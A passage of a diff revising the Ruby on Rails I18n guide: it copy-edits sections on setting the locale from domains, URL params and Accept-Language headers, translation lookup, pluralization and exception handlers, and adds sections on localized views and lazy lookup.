the different options you have. -IMPORTANT: Following examples rely on having locales loaded into your application available as an array of strings like +["en", "es", "gr"]+. This is not inclued in current version of Rails 2.2 -- forthcoming Rails version 2.3 will contain easy accesor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.) +IMPORTANT: The following examples rely on having available locales loaded into your application as an array of strings like +["en", "es", "gr"]+. This is not included in the current version of Rails 2.2 -- the forthcoming Rails version 2.3 will contain the easy accessor +available_locales+. (See "this commit":http://github.com/svenfuchs/i18n/commit/411f8fe7c8f3f89e9b6b921fa62ed66cb92f3af4 and background at "Rails I18n Wiki":http://rails-i18n.org/wiki/pages/i18n-available_locales.) -So, for having available locales easily available in Rails 2.2, we have to include this support manually in an initializer, like this: +So, for having available locales easily accessible in Rails 2.2, we have to include this support manually in an initializer, like this: <ruby> # config/initializers/available_locales.rb @@ -180,11 +181,11 @@ class ApplicationController < ActionController::Base end </ruby> -h4. Setting locale from the domain name +h4. Setting the Locale from the Domain Name -One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load English (or default) locale, and +www.example.es+ to load Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: +One option you have is to set the locale from the domain name where your application runs. For example, we want +www.example.com+ to load the English (or default) locale, and +www.example.es+ to load the Spanish locale. Thus the _top-level domain name_ is used for locale setting. This has several advantages: -* Locale is an _obvious_ part of the URL +* The locale is an _obvious_ part of the URL * People intuitively grasp in which language the content will be displayed * It is very trivial to implement in Rails * Search engines seem to like that content in different languages lives at different, inter-linked domains @@ -208,7 +209,7 @@ def extract_locale_from_tld end </ruby> -We can also set the locale from the _subdomain_ in very similar way: +We can also set the locale from the _subdomain_ in a very similar way: <ruby> # Get locale code from request subdomain (like http://it.application.local:3000) @@ -231,15 +232,15 @@ assuming you would set +APP_CONFIG[:deutsch_website_url]+ to some value like +ht This solution has aforementioned advantages, however, you may not be able or may not want to provide different localizations ("language versions") on different domains. The most obvious solution would be to include locale code in the URL params (or request path). -h4. Setting locale from the URL params +h4. Setting the Locale from the URL Params -Most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case. +The most usual way of setting (and passing) the locale would be to include it in URL params, as we did in the +I18n.locale = params[:locale]+ _before_filter_ in the first example. We would like to have URLs like +www.example.com/books?locale=ja+ or +www.example.com/ja/books+ in this case. -This approach has almost the same set of advantages as setting the locale from domain name: namely that it's RESTful and in accord with rest of the World Wide Web. It does require a little bit more work to implement, though. +This approach has almost the same set of advantages as setting the locale from the domain name: namely that it's RESTful and in accord with the rest of the World Wide Web. It does require a little bit more work to implement, though. -Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (eg. +link_to( books_url(:locale => I18n.locale) )+) would be tedious and probably impossible, of course. +Getting the locale from +params+ and setting it accordingly is not hard; including it in every URL and thus *passing it through the requests* is. To include an explicit option in every URL (e.g. +link_to( books_url(:locale => I18n.locale))+) would be tedious and probably impossible, of course. -Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+*ApplicationController#default_url_options*+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method). +Rails contains infrastructure for "centralizing dynamic decisions about the URLs" in its "+ApplicationController#default_url_options+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000515, which is useful precisely in this scenario: it enables us to set "defaults" for "+url_for+":http://api.rubyonrails.org/classes/ActionController/Base.html#M000503 and helper methods dependent on it (by implementing/overriding this method). We can include something like this in our ApplicationController then: @@ -251,20 +252,20 @@ def default_url_options(options={}) end </ruby> -Every helper method dependent on +url_for+ (eg. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+. +Every helper method dependent on +url_for+ (e.g. helpers for named routes like +root_path+ or +root_url+, resource routes like +books_path+ or +books_url+, etc.) will now *automatically include the locale in the query string*, like this: +http://localhost:3001/?locale=ja+. -You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of application domain: and URLs should reflect this. +You may be satisfied with this. It does impact the readability of URLs, though, when the locale "hangs" at the end of every URL in your application. Moreover, from the architectural standpoint, locale is usually hierarchically above the other parts of the application domain: and URLs should reflect this. -You probably want URLs look like this: +www.example.com/en/books+ (which loads English locale) and +www.example.com/nl/books+ (which loads Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way: +You probably want URLs to look like this: +www.example.com/en/books+ (which loads the English locale) and +www.example.com/nl/books+ (which loads the Netherlands locale). This is achievable with the "over-riding +default_url_options+" strategy from above: you just have to set up your routes with "+path_prefix+":http://api.rubyonrails.org/classes/ActionController/Resources.html#M000354 option in this way: <ruby> # config/routes.rb map.resources :books, :path_prefix => '/:locale' </ruby> -Now, when you call +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). +Now, when you call the +books_path+ method you should get +"/en/books"+ (for the default locale). An URL like +http://localhost:3001/nl/books+ should load the Netherlands locale, then, and following calls to +books_path+ should return +"/nl/books"+ (because the locale changed). -Of course, you need to take special care of root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so. There's only one "root" URL.) +Of course, you need to take special care of the root URL (usually "homepage" or "dashboard") of your application. An URL like +http://localhost:3001/nl+ will not work automatically, because the +map.root :controller => "dashboard"+ declaration in your +routes.rb+ doesn't take locale into account. (And rightly so: there's only one "root" URL.) You would probably need to map URLs like these: @@ -275,18 +276,18 @@ map.dashboard '/:locale', :controller => "dashboard" Do take special care about the *order of your routes*, so this route declaration does not "eat" other ones. (You may want to add it directly before the +map.root+ declaration.) -IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look on two plugins which simplify working with routes in this way: Sven Fuchs's "_routing_filter_":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "_translate_routes_":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki. +IMPORTANT: This solution has currently one rather big *downside*. Due to the _default_url_options_ implementation, you have to pass the +:id+ option explicitely, like this: +link_to 'Show', book_url(:id => book)+ and not depend on Rails' magic in code like +link_to 'Show', book+. If this should be a problem, have a look at two plugins which simplify work with routes in this way: Sven Fuchs's "routing_filter":http://github.com/svenfuchs/routing-filter/tree/master and Raul Murciano's "translate_routes":http://github.com/raul/translate_routes/tree/master. See also the page "How to encode the current locale in the URL":http://rails-i18n.org/wiki/pages/how-to-encode-the-current-locale-in-the-url in the Rails i18n Wiki. -h4. Setting locale from the client supplied information +h4. Setting the Locale from the Client Supplied Information -In specific cases, it would make sense to set locale from client supplied information, ie. not from URL. This information may come for example from users' preffered language (set in their browser), can be based on users' geographical location inferred from their IP, or users can provide it simply by choosing locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above. +In specific cases, it would make sense to set the locale from client-supplied information, i.e. not from the URL. This information may come for example from the users' prefered language (set in their browser), can be based on the users' geographical location inferred from their IP, or users can provide it simply by choosing the locale in your application interface and saving it to their profile. This approach is more suitable for web-based applications or services, not for websites -- see the box about _sessions_, _cookies_ and RESTful architecture above. -h5. Using Accept-Language +h5. Using +Accept-Language+ One source of client supplied information would be an +Accept-Language+ HTTP header. People may "set this in their browser":http://www.w3.org/International/questions/qa-lang-priorities or other clients (such as _curl_). -A trivial implementation of using +Accept-Language+ header would be: +A trivial implementation of using an +Accept-Language+ header would be: <ruby> def set_locale @@ -300,21 +301,21 @@ def extract_locale_from_accept_language_header end </ruby> -Of course, in production environment you would need much robust code, and could use a plugin such as Iaian Hecker's "http_accept_language":http://github.com/iain/http_accept_language or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb. +Of course, in a production environment you would need much more robust code, and could use a plugin such as Iain Hecker's "http_accept_language":http://github.com/iain/http_accept_language/tree/master or even Rack middleware such as Ryan Tomayko's "locale":http://github.com/rtomayko/rack-contrib/blob/master/lib/rack/locale.rb. -h5. Using GeoIP (or similar) database +h5. Using GeoIP (or Similar) Database -Another way of choosing the locale from client's information would be to use a database for mapping client IP to region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query database for user's IP, and lookup your preffered locale for the country/region/city returned. +Another way of choosing the locale from client information would be to use a database for mapping the client IP to the region, such as "GeoIP Lite Country":http://www.maxmind.com/app/geolitecountry. The mechanics of the code would be very similar to the code above -- you would need to query the database for the user's IP, and look up your prefered locale for the country/region/city returned. -h5. User profile +h5. User Profile -You can also provide users of your application with means to set (and possibly over-ride) locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in database. Then you'd set the locale to this value. +You can also provide users of your application with means to set (and possibly over-ride) the locale in your application interface, as well. Again, mechanics for this approach would be very similar to the code above -- you'd probably let users choose a locale from a dropdown list and save it to their profile in the database. Then you'd set the locale to this value. -h3. Internationalizing your application +h3. Internationalizing your Application -OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale should be used and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff. +OK! Now you've initialized I18n support for your Ruby on Rails application and told it which locale to use and how to preserve it between requests. With that in place, you're now ready for the really interesting stuff. -Let's _internationalize_ our application, ie. abstract every locale-specific parts, and that _localize_ it, ie. provide neccessary translations for these abstracts. +Let's _internationalize_ our application, i.e. abstract every locale-specific parts, and then _localize_ it, i.e. provide neccessary translations for these abstracts. You most probably have something like this in one of your applications: @@ -359,7 +360,7 @@ When you now render this view, it will show an error message which tells you tha !images/i18n/demo_translation_missing.png(rails i18n demo translation missing)! -NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +<span class="translation_missing">+. +NOTE: Rails adds a +t+ (+translate+) helper method to your views so that you do not need to spell out +I18n.t+ all the time. Additionally this helper will catch missing translations and wrap the resulting error message into a +<span class="translation_missing">+. So let's add the missing translations into the dictionary files (i.e. do the "localization" part): @@ -385,9 +386,9 @@ And when you change the URL to pass the pirate locale (+http://localhost:3000?lo NOTE: You need to restart the server when you add new locale files. -You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the preffered option among Rails developers, has one big disadvantage, though. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into Ruby file.) +You may use YAML (+.yml+) or plain Ruby (+.rb+) files for storing your translations in SimpleStore. YAML is the prefered option among Rails developers. However, it has one big disadvantage. YAML is very sensitive to whitespace and special characters, so the application may not load your dictionary properly. Ruby files will crash your application on first request, so you may easily find what's wrong. (If you encounter any "weird issues" with YAML dictionaries, try putting the relevant portion of your dictionary into a Ruby file.) -h4. Adding Date/Time formats +h4. Adding Date/Time Formats OK! Now let's add a timestamp to the view, so we can demo the *date/time localization* feature as well. To localize the time format you pass the Time object to +I18n.l+ or (preferably) use Rails' +#l+ helper. You can pick a format by passing the +:format+ option -- by default the +:default+ format is used. @@ -412,11 +413,17 @@ So that would give you: !images/i18n/demo_localized_pirate.png(rails i18n demo localized time to pirate)! -TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected. Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically ready for use. +TIP: Right now you might need to add some more date/time formats in order to make the I18n backend work as expected (at least for the 'pirate' locale). Of course, there's a great chance that somebody already did all the work by *translating Rails's defaults for your locale*. See the "rails-i18n repository at Github":http://github.com/svenfuchs/rails-i18n/tree/master/rails/locale for an archive of various locale files. When you put such file(s) in +config/locale/+ directory, they will automatically be ready for use. -h4. Organization of locale files +h4. Localized Views -When you are using the default SimpleStore, shipped with the i18n library, you store dictionaries in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you. +Rails 2.3 introduces another convenient localization feature: localized views (templates). Let's say you have a _BooksController_ in your application. Your _index_ action renders content in +app/views/books/index.html.erb+ template. When you put a _localized variant_ of this template: *+index.es.html.erb+* in the same directory, Rails will render content in this template, when the locale is set to +:es+. When the locale is set to the default locale, the generic +index.html.erb+ view will be used. (Future Rails versions may well bring this _automagic_ localization to assets in +public+, etc.) + +You can make use of this feature, e.g. when working with a large amount of static content, which would be clumsy to put inside YAML or Ruby dictionaries. Bear in mind, though, that any change you would like to do later to the template must be propagated to all of them. + +h4. Organization of Locale Files + +When you are using the default SimpleStore shipped with the i18n library, dictionaries are stored in plain-text files on the disc. Putting translations for all parts of your application in one file per locale could be hard to manage. You can store these files in a hierarchy which makes sense to you. For example, your +config/locale+ directory could look like this: @@ -443,13 +450,18 @@ For example, your +config/locale+ directory could look like this: |-----en.rb </pre> -This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (eg. date and time formats). +This way, you can separate model and model attribute names from text inside views, and all of this from the "defaults" (e.g. date and time formats). Other stores for the i18n library could provide different means of such separation. -Other stores for the i18n library could provide different means of such separation. +NOTE: The default locale loading mechanism in Rails does not load locale files in nested dictionaries, like we have here. So, for this to work, we must explicitly tell Rails to look further: + +<ruby> + # config/environment.rb + config.i18n.load_path += Dir[File.join(RAILS_ROOT, 'config', 'locales', '**', '*.{rb,yml}')] +</ruby> Do check the "Rails i18n Wiki":http://rails-i18n.org/wiki for list of tools available for managing translations. -h3. Overview of the I18n API features +h3. Overview of the I18n API Features You should have good understanding of using the i18n library now, knowing all neccessary aspects of internationalizing a basic Rails application. In the following chapters, we'll cover it's features in more depth. @@ -458,11 +470,11 @@ Covered are features like these: * looking up translations * interpolating data into translations * pluralizing translations -* localizing dates, numbers, currency etc. +* localizing dates, numbers, currency, etc. -h4. Looking up translations +h4. Looking up Translations -h5. Basic lookup, scopes and nested keys +h5. Basic Lookup, Scopes and Nested Keys Translations are looked up by keys which can be both Symbols or Strings, so these calls are equivalent: @@ -471,63 +483,80 @@ I18n.t :message I18n.t 'message' </ruby> -+translate+ also takes a +:scope+ option which can contain one or many additional keys that will be used to specify a “namespace” or scope for a translation key: +The +translate+ method also takes a +:scope+ option which can contain one or more additional keys that will be used to specify a “namespace” or scope for a translation key: <ruby> -I18n.t :invalid, :scope => [:active_record, :error_messages] +I18n.t :invalid, :scope => [:activerecord, :errors, :messages] </ruby> This looks up the +:invalid+ message in the Active Record error messages. -Additionally, both the key and scopes can be specified as dot separated keys as in: +Additionally, both the key and scopes can be specified as dot-separated keys as in: <ruby> -I18n.translate :"active_record.error_messages.invalid" +I18n.translate :"activerecord.errors.messages.invalid" </ruby> Thus the following calls are equivalent: <ruby> -I18n.t 'active_record.error_messages.invalid' -I18n.t 'error_messages.invalid', :scope => :active_record -I18n.t :invalid, :scope => 'active_record.error_messages' -I18n.t :invalid, :scope => [:active_record, :error_messages] +I18n.t 'activerecord.errors.messages.invalid' +I18n.t 'errors.messages.invalid', :scope => :active_record +I18n.t :invalid, :scope => 'activerecord.errors.messages' +I18n.t :invalid, :scope => [:activerecord, :errors, :messages] </ruby> h5. Defaults -When a default option is given its value will be returned if the translation is missing: +When a +:default+ option is given, its value will be returned if the translation is missing: <ruby> I18n.t :missing, :default => 'Not here' # => 'Not here' </ruby> -If the default value is a Symbol it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. +If the +:default+ value is a Symbol, it will be used as a key and translated. One can provide multiple values as default. The first one that results in a value will be returned. -E.g. the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result the string "Not here" will be returned: +E.g., the following first tries to translate the key +:missing+ and then the key +:also_missing.+ As both do not yield a result, the string "Not here" will be returned: <ruby> I18n.t :missing, :default => [:also_missing, 'Not here'] # => 'Not here' </ruby> -h5. Bulk and namespace lookup +h5. Bulk and Namespace Lookup -To lookup multiple translations at once an array of keys can be passed: +To look up multiple translations at once, an array of keys can be passed: <ruby> -I18n.t [:odd, :even], :scope => 'active_record.error_messages' +I18n.t [:odd, :even], :scope => 'activerecord.errors.messages' # => ["must be odd", "must be even"] </ruby> -Also, a key can translate to a (potentially nested) hash as grouped translations. E.g. one can receive all Active Record error messages as a Hash with: +Also, a key can translate to a (potentially nested) hash of grouped translations. E.g., one can receive _all_ Active Record error messages as a Hash with: <ruby> -I18n.t 'active_record.error_messages' +I18n.t 'activerecord.errors.messages' # => { :inclusion => "is not included in the list", :exclusion => ... } </ruby> +h5. "Lazy" Lookup + +Rails 2.3 implements a convenient way to look up the locale inside _views_. When you have the following dictionary: + +<yaml> +es: + books: + index: + title: "Título" +</yaml> + +you can look up the +books.index.title+ value *inside* +app/views/books/index.html.erb+ template like this (note the dot): + +<ruby> +<%= t '.title' %> +</ruby> + h4. Interpolation In many cases you want to abstract your translations so that *variables can be interpolated into the translation*. For this reason the I18n API provides an interpolation feature. @@ -540,12 +569,11 @@ I18n.translate :thanks, :name => 'Jeremy' # => 'Thanks Jeremy!' </ruby> -If a translation uses +:default+ or +:scope+ as a interpolation variable an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable but it has not been passed to +#translate+ an +I18n::MissingInterpolationArgument+ exception is raised. - +If a translation uses +:default+ or +:scope+ as an interpolation variable, an I+18n::ReservedInterpolationKey+ exception is raised. If a translation expects an interpolation variable, but this has not been passed to +#translate+, an +I18n::MissingInterpolationArgument+ exception is raised. h4. Pluralization -In English there's only a singular and a plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or less "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature. +In English there are only one singular and one plural form for a given string, e.g. "1 message" and "2 messages". Other languages ("Arabic":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ar, "Japanese":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ja, "Russian":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html#ru and many more) have different grammars that have additional or fewer "plural forms":http://www.unicode.org/cldr/data/charts/supplemental/language_plural_rules.html. Thus, the I18n API provides a flexible pluralization feature. The +:count+ interpolation variable has a special role in that it both is interpolated to the translation and used to pick a pluralization from the translations according to the pluralization rules defined by CLDR: @@ -566,13 +594,13 @@ entry[count == 1 ? 0 : 1] I.e. the translation denoted as +:one+ is regarded as singular, the other is used as plural (including the count being zero). -If the lookup for the key does not return an Hash suitable for pluralization an +18n::InvalidPluralizationData+ exception is raised. +If the lookup for the key does not return a Hash suitable for pluralization, an +18n::InvalidPluralizationData+ exception is raised. -h4. Setting and passing a locale +h4. Setting and Passing a Locale The locale can be either set pseudo-globally to +I18n.locale+ (which uses +Thread.current+ like, e.g., +Time.zone+) or can be passed as an option to +#translate+ and +#localize+. -If no locale is passed +I18n.locale+ is used: +If no locale is passed, +I18n.locale+ is used: <ruby> I18n.locale = :de @@ -587,15 +615,15 @@ I18n.t :foo, :locale => :de I18n.l Time.now, :locale => :de </ruby> -+I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this: +The +I18n.locale+ defaults to +I18n.default_locale+ which defaults to :+en+. The default locale can be set like this: <ruby> I18n.default_locale = :de </ruby> -h3. How to store your custom translations +h3. How to Store your Custom Translations -The shipped Simple backend allows you to store translations in both plain Ruby and YAML format. [2] +The Simple backend shipped with Active Support allows you to store translations in both plain Ruby and YAML format. [2] For example a Ruby Hash providing translations can look like this: @@ -617,9 +645,9 @@ pt: bar: baz </ruby> -As you see in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz". +As you see, in both cases the toplevel key is the locale. +:foo+ is a namespace key and +:bar+ is the key for the translation "baz". -Here is a "real" example from the ActiveSupport +en.yml+ translations YAML file: +Here is a "real" example from the Active Support +en.yml+ translations YAML file: <ruby> en: @@ -639,11 +667,11 @@ I18n.t :short, :scope => 'date.formats' I18n.t :short, :scope => [:date, :formats] </ruby> -Generally we recommend using YAML as a format for storing translations. There are cases though where you want to store Ruby lambdas as part of your locale data, e.g. for special date. +Generally we recommend using YAML as a format for storing translations. There are cases, though, where you want to store Ruby lambdas as part of your locale data, e.g. for special date formats. -h4. Translations for Active Record models +h4. Translations for Active Record Models -You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently lookup translations for your model and attribute names. +You can use the methods +Model.human_name+ and +Model.human_attribute_name(attribute)+ to transparently look up translations for your model and attribute names. For example when you add the following translations: @@ -660,9 +688,9 @@ en: Then +User.human_name+ will return "Dude" and +User.human_attribute_name(:login)+ will return "Handle". -h5. Error message scopes +h5. Error Message Scopes -Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes and/or validations. It also transparently takes single table inheritance into account. +Active Record validation error messages can also be translated easily. Active Record gives you a couple of namespaces where you can place your message translations in order to provide different messages and translation for certain models, attributes, and/or validations. It also transparently takes single table inheritance into account. This gives you quite powerful means to flexibly adjust your messages to your application's needs. @@ -674,23 +702,23 @@ class User < ActiveRecord::Base end </ruby> -The key for the error message in this case is +:blank+. Active Record will lookup this key in the namespaces: +The key for the error message in this case is +:blank+. Active Record will look up this key in the namespaces: <ruby> -activerecord.errors.messages.models.[model_name].attributes.[attribute_name] -activerecord.errors.messages.models.[model_name] +activerecord.errors.models.[model_name].attributes.[attribute_name] +activerecord.errors.models.[model_name] activerecord.errors.messages </ruby> Thus, in our example it will try the following keys in this order and return the first result: <ruby> -activerecord.errors.messages.models.user.attributes.name.blank -activerecord.errors.messages.models.user.blank +activerecord.errors.models.user.attributes.name.blank +activerecord.errors.models.user.blank activerecord.errors.messages.blank </ruby> -When your models are additionally using inheritance then the messages are looked up for the inherited model class names are looked up. +When your models are additionally using inheritance then the messages are looked up in the inheritance chain. For example, you might have an Admin model inheriting from User: @@ -710,9 +738,9 @@ activerecord.errors.models.user.blank activerecord.errors.messages.blank </ruby> -This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models or default scopes. +This way you can provide special translations for various error messages at different points in your models inheritance chain and in the attributes, models, or default scopes. -h5. Error message interpolation +h5. Error Message Interpolation The translated model name, translated attribute name, and value are always available for interpolation. @@ -743,9 +771,9 @@ So, for example, instead of the default error message +"can not be blank"+ you c | validates_numericality_of | :odd | :odd | -| | validates_numericality_of | :even | :even | -| -h5. Translations for the Active Record error_messages_for helper +h5. Translations for the Active Record +error_messages_for+ Helper -If you are using the Active Record +error_messages_for+ helper you will want to add translations for it. +If you are using the Active Record +error_messages_for+ helper, you will want to add translations for it. Rails ships with the following translations: @@ -760,44 +788,44 @@ en: body: "There were problems with the following fields:" </yaml> -h4. Overview of other built-in methods that provide I18n support +h4. Overview of Other Built-In Methods that Provide I18n Support Rails uses fixed strings and other localizations, such as format strings and other format information in a couple of helpers. Here's a brief overview. -h5. ActionView helper methods +h5. Action View Helper Methods -* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations. +* +distance_of_time_in_words+ translates and pluralizes its result and interpolates the number of seconds, minutes, hours, and so on. See "datetime.distance_in_words":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L51 translations. -* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date select helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable. +* +datetime_select+ and +select_month+ use translated month names for populating the resulting select tag. See "date.month_names":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L15 for translations. +datetime_select+ also looks up the order option from "date.order":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L18 (unless you pass the option explicitely). All date selection helpers translate the prompt using the translations in the "datetime.prompts":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L83 scope if applicable. -* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+ and +humber_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope. +* The +number_to_currency+, +number_with_precision+, +number_to_percentage+, +number_with_delimiter+, and +number_to_human_size+ helpers use the number format settings located in the "number":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L2 scope. -h5. Active Record methods +h5. Active Record Methods * +human_name+ and +human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":http://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L43 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". * +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +human_name+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". -*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and defaults to +' '+). +*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":http://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +' '+). -h5. ActiveSupport methods +h5. Active Support Methods * +Array#to_sentence+ uses format settings as given in the "support.array":http://github.com/rails/rails/blob/master/activesupport/lib/active_support/locale/en.yml#L30 scope. -h3. Customize your I18n setup +h3. Customize your I18n Setup -h4. Using different backends +h4. Using Different Backends -For several reasons the shipped Simple backend only does the "simplest thing that ever could work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. +For several reasons the Simple backend shipped with Active Support only does the "simplest thing that could possibly work" _for Ruby on Rails_ [3] ... which means that it is only guaranteed to work for English and, as a side effect, languages that are very similar to English. Also, the simple backend is only capable of reading translations but can not dynamically store them to any format. -That does not mean you're stuck with these limitations though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: +That does not mean you're stuck with these limitations, though. The Ruby I18n gem makes it very easy to exchange the Simple backend implementation with something else that fits better for your needs. E.g. you could exchange it with Globalize's Static backend: <ruby> I18n.backend = Globalize::Backend::Static.new </ruby> -h4. Using different exception handlers +h4. Using Different Exception Handlers The I18n API defines the following exceptions that will be raised by backends when the corresponding unexpected conditions occur: @@ -810,11 +838,11 @@ ReservedInterpolationKey # the translation contains a reserved interpolation UnknownFileType # the backend does not know how to handle a file type that was added to I18n.load_path </ruby> -The I18n API will catch all of these exceptions when they were thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught it will return the exception’s error message string containing the missing key/scope. +The I18n API will catch all of these exceptions when they are thrown in the backend and pass them to the default_exception_handler method. This method will re-raise all exceptions except for +MissingTranslationData+ exceptions. When a +MissingTranslationData+ exception has been caught, it will return the exception’s error message string containing the missing key/scope. The reason for this is that during development you'd usually want your views to still render even though a translation is missing. -In other contexts you might want to change this behaviour though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module: +In other contexts you might want to change this behaviour, though. E.g. the default exception handling does not allow to catch missing translations during automated tests easily. For this purpose a different exception handler can be specified. The specified exception handler must be a method on the I18n module: <ruby> module I18n @@ -828,9 +856,9 @@ I18n.exception_handler = :just_raise_that_exception This would re-raise all caught exceptions including +MissingTranslationData+. -Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context the helper wraps the message into a span with the CSS class +translation_missing+. +Another example where the default behaviour is less desirable is the Rails TranslationHelper which provides the method +#t+ (as well as +#translate+). When a +MissingTranslationData+ exception occurs in this context, the helper wraps the message into a span with the CSS class +translation_missing+. -To do 